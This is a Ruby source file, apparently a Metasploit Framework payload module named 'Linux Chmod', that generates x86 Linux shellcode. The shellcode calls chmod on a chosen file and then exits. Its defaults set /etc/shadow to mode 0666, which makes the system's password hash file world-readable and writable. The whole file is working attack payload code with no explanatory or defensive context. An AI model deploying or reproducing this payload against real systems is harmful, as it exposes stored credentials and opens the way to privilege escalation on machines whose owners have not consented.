bcoles
49 lines
1.2 KiB
Ruby
49 lines
1.2 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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###
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# Linux Chmod(file, mode)
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#
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# Kris Katterjohn - 03/03/2008
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###
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module MetasploitModule
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CachedSize = 36
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include Msf::Payload::Single
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include Msf::Payload::Linux::X86::Prepends
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def initialize(info = {})
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super(
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merge_info(
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info,
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'Name' => 'Linux Chmod',
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'Description' => 'Runs chmod on specified file with specified mode',
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'Author' => 'kris katterjohn',
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'License' => BSD_LICENSE,
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'Platform' => 'linux',
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'Arch' => ARCH_X86
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)
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)
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register_options(
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[
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OptString.new('FILE', [ true, 'Filename to chmod', '/etc/shadow' ]),
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OptString.new('MODE', [ true, 'File mode (octal)', '0666' ]),
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]
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)
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end
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# Dynamically generates chmod(FILE, MODE) + exit()
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def generate(_opts = {})
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file = datastore['FILE'] || '/etc/shadow'
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mode = (datastore['MODE'] || '0666').oct
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"\x99\x6a\x0f\x58\x52" +
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Rex::Arch::X86.call(file.length + 1) + file + "\x00" \
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"\x5b" + Rex::Arch::X86.push_dword(mode) +
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"\x59\xcd\x80\x6a\x01\x58\xcd\x80"
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end
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end
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